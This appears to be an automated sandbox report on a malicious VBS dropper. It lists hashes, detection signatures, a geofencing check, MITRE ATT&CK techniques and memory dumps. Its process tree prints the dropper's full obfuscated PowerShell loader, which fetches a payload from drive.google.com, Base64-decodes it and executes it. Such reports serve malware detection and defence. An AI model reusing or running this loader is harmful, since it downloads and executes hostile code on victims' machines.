0923a2d6d1c333ebd0f4320b2fe23015ecf70f3ebeb5a89d883b8259869d4743

General

Target

0923a2d6d1c333ebd0f4320b2fe23015ecf70f3ebeb5a89d883b8259869d4743.vbs
Size

8KB
MD5

fdf5dceb2d284e54cf0a421a463b621d
SHA1

e5f7ec649576934ac61090f1380d23b9d2ac5d09
SHA256

0923a2d6d1c333ebd0f4320b2fe23015ecf70f3ebeb5a89d883b8259869d4743
SHA512

a7af097d89597788c1f5f368dc5df4430efdb1315034b4790610d681284af2cb73d5d7627fcf8c6048558c2149ce553b2f9ac1d4ddc4aa84207644240ca51281
SSDEEP

192:3xbypOqPkZz+5xE1Naq+wtwFBsaqOaJA8Z/cDWzNZWiEtM0J:hblIiblwHsa3a/FcriEtv

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
13	2160	powershell.exe
19	2160	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2177723727-746291240-1644359950-1000\Control Panel\International\Geo\Nation	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
5	drive.google.com
13	drive.google.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2160	powershell.exe
2160	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2160	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4300 wrote to memory of 2160	4300	WScript.exe	84
PID 4300 wrote to memory of 2160	4300	WScript.exe	84
PID 2160 wrote to memory of 4728	2160	powershell.exe	86
PID 2160 wrote to memory of 4728	2160	powershell.exe	86

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0923a2d6d1c333ebd0f4320b2fe23015ecf70f3ebeb5a89d883b8259869d4743.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Karyokinesis104 = 1;$Unrefracting='Substrin';$Unrefracting+='g';Function Agonothet($Haandgribelige){$Judiciousness=$Haandgribelige.Length-$Karyokinesis104;For($organoleptically=5; $organoleptically -lt $Judiciousness; $organoleptically+=(6)){$Bundlses+=$Haandgribelige.$Unrefracting.Invoke($organoleptically, $Karyokinesis104);}$Bundlses;}function popess($Rdstjerternes){& ($Speecher) ($Rdstjerternes);}$Stentrykkerierne=Agonothet 'SuspiMStaccoUnvigzOverli ,ntolQuainl degeaPaste/Arabi5Strat.In.er0V,cci Petit(mo,igW Und,iD armn C brdRadiooStraawPharys.yldi tilstNAfhjeTCanad Skov1S,edi0 Min..H nds0 Pant;Svend Ne.paWbivaliPaveknPosts6Se,ip4Poro.;Plebi ConatxHuele6 Gras4Servi;Sonny ,ivvarGeckovShipp: Dans1 ulmu2runen1 Pro .br.sn0 Fina)Se vt Unde GForsteDesincHansgkBelonoForh./Epose2atmoc0nedve1Float0Missi0Vigne1Harce0 Gang1Pte o .egynFEndl iKonverPanereKruspf X.loo DistxAbdu./Klass1 Fr.m2Chink1Auten.L.del0Rulle ';$Untestable27=Agonothet ' PolyUTarogs,onheeJobs r,okse-Ted iA OlymgUnhaneSagitnMattetDanse ';$Mblements=Agonothet 'BefryhUn ertGr.fit TagspPul,os.jtad:Macro/T,edo/ Na.udBascurShippiChangvAuxineBegrn. A isgprimeoLovbeo T rng StralGoogoeD fer.EvighcSusp,oFr semDeg,a/AgftauLea hcTppeb?.asimeFlavoxTautop Tremo Natur,irketAgerk=Piet.dVindioSpisewDespinPaakllFishsoEl,esaMo.aidHiela&outgli .lgedRusti=Seign1 udstp Quen8 OverCafblaAKa hi5i.terIShawiWSkovrVAfparRS.icigIntragArrhigRtenjeDemarGLeptoBJo,glHbolst5 S.rjJTillgtGens.5 TermSParosAOvern7Tingeb .kstzStilpDDk,eniAscesw fo.wAColu.7 LazaDFemgreWaggo ';$Gashes=Agonothet 'Vekse> Tlle ';$Speecher=Agonothet 'Gl.cyiTr.nseEkspoxS,ibs ';$Hjemgivelsen='Drfyldingen';popess (Agonothet 'Sam.uSRetateO,pebtDucti-KangaC Li soGrundnEnsomtOzon.eStratnIleitt Dank p.ri-BesaaP Kan.aPrefat Alfah Tora KismTDrmm.:Halm \ UlleC Ghosl Whalu Le.nsDomnetRewineAccesr,necdyLands.fejlutNonauxCamayt.unkt Ubud -BinapVOvermaAkti.l billuUnparePr.in Rubri$JackaHInaprjJer.beAstr,mScenag RolliBand.vRecule AnnalZani.sKobbeeKont,n,ncom; Nonw ');popess (Agonothet 'BrugeiBassefarbej Tour(RestptG auceAnt ssSwerdtRela.-gondopTailgaKontotUsitah Hnge BifokTAksle:Fanci\KnickCFodtulRevoluOr.ogs Af.ot,npreeYngstrV venyBitte.RovdytSalamxOmnortBores)Behan{ Ek.eeChillxTele,i .trut Unl,} Slu ;L,vsf ');$Julegavens = Agonothet ' Bek eSheracUnwirhvr.stoBehnd Unmuz%anke,aOrigepBagr.p .ndhdGy,noaPer itPerspaKomed% fixu\TocorTB,boer ForhaHaroln BrungHan,lsGyptet,arkfiMictul PseufMilielVapordManteeMessi. LophPCerbeeTabacrSam.m Sigh,& F.br&Socio len.ie,oritcJagtsh.oraloInfan Sala$Nigri ';popess (Agonothet 'M,lkm$StatsgErhvel CrunoSpickbWheezaIchull H rd:SolioC,estuo ExosnPromisDonnatGenbra Tsa,n ejfntPlateiRandba shas Unh,=Indig(Skdebc RancmFrontdGenma .irc/ DeklcPres. Negle$ElverJHavaruForsrl,mbereR.eumginva,aZendovSpi.ieratepnHelfls F rt)G ucu ');popess (Agonothet 'ju,ef$Dob,egAnt.gl SiesoinddabThalaaOmforlMica.:DrageSVand.lNaturiHer enMontetDesmoesalatrTofro4Bo dg8u,sea=Vic.u$Ge erMUnciabDrvtylDon ee PutnmGlyc ePlat nskovttamalgsopvel.rabb.sAnacep Bltel .ouni.loritSpand(Nstfo$FiskeGBard,aPajamsTuetuhAl,ereCiselsHyp r)Immun ');$Mblements=$Slinter48[0];popess (Agonothet ' seam$Hel.cgArbejlPolygoStadfb Bulea mil ludska: St tREro,ru MatrbGrailrPiot,iExtercHalimeBy.gersti.ueCompasDeafe1Ethan0Almsd7Linea= Ud,tNMineseUd,ikwDeute-K.ystOMarkibEks mjMillieMondncUndelt.rapp BivirSSkizoymuntrs GingtPi.seeDampemArta,.Z nneNSovekeKatystBehag.LimbeWDecaseBillyb obulC.rilal PalaiPjecee,oresnMelletPenna ');popess (Agonothet 'Over.$ YounR RaceuS.ralb lectrFamiliMask.cDi feeHu rarNondeeAxhamsg,bbe1 reol0 Snub7Kri.e.Afr,dHBand.eAktivaMyotod Afkae c tarHegnssValgk[Fa le$Ere.tUEasygn billthasteeOmdebsPalertVisu a ZonkbDockilRo.eseStr,a2Hjeml7 Hjlp]Mi.la=Godsv$MicroSSte.st NudleBestrnHercutNons,r Ba.oyIm.otkGarruk FolkeMaillrIndreiSynale outdrCykeln un eeSuper ');$celandines=Agonothet 'Nbfl.RRa.bruTrst,bOtorrrYpperi,abatcFlommenamnarBranceScreesLindy1.edev0Un.er7Bolon. Eta.D Co loChariwTaarnnSoleml ScanoEks ea TreddS.ambF rudeimo,talKadeneMesat(,earf$GaardMBrystbClumplN,biaeGatt mLrepleFittinP,eintCordesUns,o,wi.es$ KompIProt,sBllebdP rickAfs ukPinnieRetab4Efter7 Dec,)Peace ';$celandines=$Constantias[1]+$celandines;$Isdkke47=$Constantias[0];popess (Agonothet 'Konvo$D sksg .arml ChamoSpdb bForekaOver lDipht:Cit,zhSuffeyForkrdListerVoryso ndymcSpageoTeserrAmantaDab,ilSu.ab=Forem(TraveTMalmieDuknasChlortTo,tu-niobePHa,ndaFejlmt Floth Zadr Men,o$GardeI NivesEpis,dTilbjkRembuk Forge cond4 .jib7Ri.ou)Flirt ');while (!$hydrocoral) {popess (Agonothet 'Drags$ La.egFlo hlLandsoVelgrbPoloeaPremalProgr:me,akDAfregiGirenfHairnfV.jnieKalkurTrstieAfpilnDi hocSuetsiF.actnLan vgGrf.e=Infor$MorgetFakturT ldfuO.stneyderk ') ;popess $celandines;popess (Agonothet 'ApertS Biomt Fonda ObserAnstrtBu.fo-SearcSSa,tal ExpoeU,skyePneu,pCra l Twib4Scute ');popess (Agonothet 'H lpe$ ForsgTaknelZosteo Brugbsvvefa Ge.mlModst:K.wieh prrsy,umildBravurGenudoFeriecZapuso Strur RuskaBloddl Int,=Smaln(LamelTDichoeHa mosQu.nntTin,f-Snup,P,aaseaDisp,tJudash Blan ryg v$Tax eIPiscasKli,kdEcheskNetkokT,aere Canz4 aund7t.ene).ngou ') ;popess (Agonothet 'Disda$ PrergScenalTouchoTra sbD finaSprinlHist :ReproSBiomat Vetco PistwAfbrnwRundtoVeeenoOrthodMythi3Unifo0Kines=Levem$Beva,gDiscelSekito.avfobTe.miarevlelUdben:ReskoSF,ltstR hearNe atgDa,legJurisaraketr UdvinSvarrs .ndesRu.katPlneroRutinf DopifProloeBlomsrAbands.tnkn+Moboc+Apoci%Delta$ EsopS.mitslAlvori UnrenBisamt fvaneu,sacrFarv 4folke8El en.Liberc upero ilduH akpnSteept Anse ') ;$Mblements=$Slinter48[$Stowwood30];}popess (Agonothet 'Tayr $ArmbagQueenlAllezo.mstnbkongsa FremlA.sik:Lege.DLo beo BienmEksameHjulssNden,tTap,oiFennekKohovv,afferEco yeT rjel AndesSilkseSatisr,hilosBaksn Man,a=Sark. Vans GNed,ieAfkastgysen-AiramC B.droCapsinAdiabt KompeSprinn.isfutBolig Phary$ O.onIAlkohsPlombdSenteklimpikKongeeSise.4homon7Bel.c ');popess (Agonothet 'Para,$Deemig Fllel sseoMulslb El,eam anelPs,lm:AgituTgang.eKastrn PhenaNo,prkAffi,tMnstraAmbitk Fste In.er=frekv Fisk[LnsomS Stasy,onvisGlaivt SouveGlaismRudsk. TmthCIsopyo Gl.tnUnprov .jlle Entrrdet ctMedit]Dagos:Endag:DecliFPermirStoppo GenemBelgiBJunipaRe.nfsKl.ppeFrtid6Cornc4Sp,roSAfndetTal.trAcrosiG.oedn MetagNarko(Trfor$ PseuDRailloWhi,emKeybde CystsTreattUnem iC pitk Funkv.idgerm.noseprvebl Venns Unsee uro rsvimls H.lt)Helio ');popess (Agonothet 'Bruse$magt gWag ilAvnedopupilbSaltaaBatiklSlukn: Mo,iR Legga Petrt esole s,ndpE.staeArenanAjoursUnderiStango ShronBlokm Sigil=Teend Skils[CheneSSjipnyO togs vernt ruffeBrnepmSluts.Re,ssTTriloeCa,woxPureetArg.n. ChicE Inten.etshcBu,fpoBr.eod PubliAssonnMis.cgstarn]Tuill:Sulp : poseA HennS AposC RsonI.versIK rsu.kommaGWusppeTi.stt HypeSS ifttLepidrHumifi ,otrnEk.prg,amme(Ba,lo$BourtTFalsieGainsnFrav,aG.dfokOp,evt rmpa.ommekDysan)Bygni ');popess (Agonothet 'Alant$FladbgthramlFolkeo Livsb P.roaMe.halFiske:M,lleMShawwePreinnDecenu,njuraProfilTarint Sti el,ehmrPres nKildeaDelbet R.fli BlatvOverie nudirB usksUn.az9.ntra3Janap=Termo$ FileRCh.mpaPrecitBagste CapipHuehueTillgnDrmmes Nedkisph.gohu,tlnDilet.Syda.s Te,suHaa dbTrilos Sinst Syslr jentiVandsnflunkgCo vi( am,e3serig0 Kom,4Stjer6Jeep,8Dueur3Outsp,Steni2Cysti7 Argu6Tetan4Psych8Nitro)Lubri ');popess $Menualternativers93;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2160
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Trangstilflde.Per && echo $"
    3⤵
    PID:4728

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_usjjtgky.dwd.psm1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2160-0-0x0000029536BE0000-0x0000029536C02000-memory.dmp

Filesize
136KB

Download
memory/2160-11-0x0000029536A60000-0x0000029536A70000-memory.dmp

Filesize
64KB

Download
memory/2160-10-0x00007FF93EE90000-0x00007FF93F951000-memory.dmp

Filesize
10.8MB

Download
memory/2160-12-0x0000029536A60000-0x0000029536A70000-memory.dmp

Filesize
64KB

Download
memory/2160-17-0x00007FF93EE90000-0x00007FF93F951000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing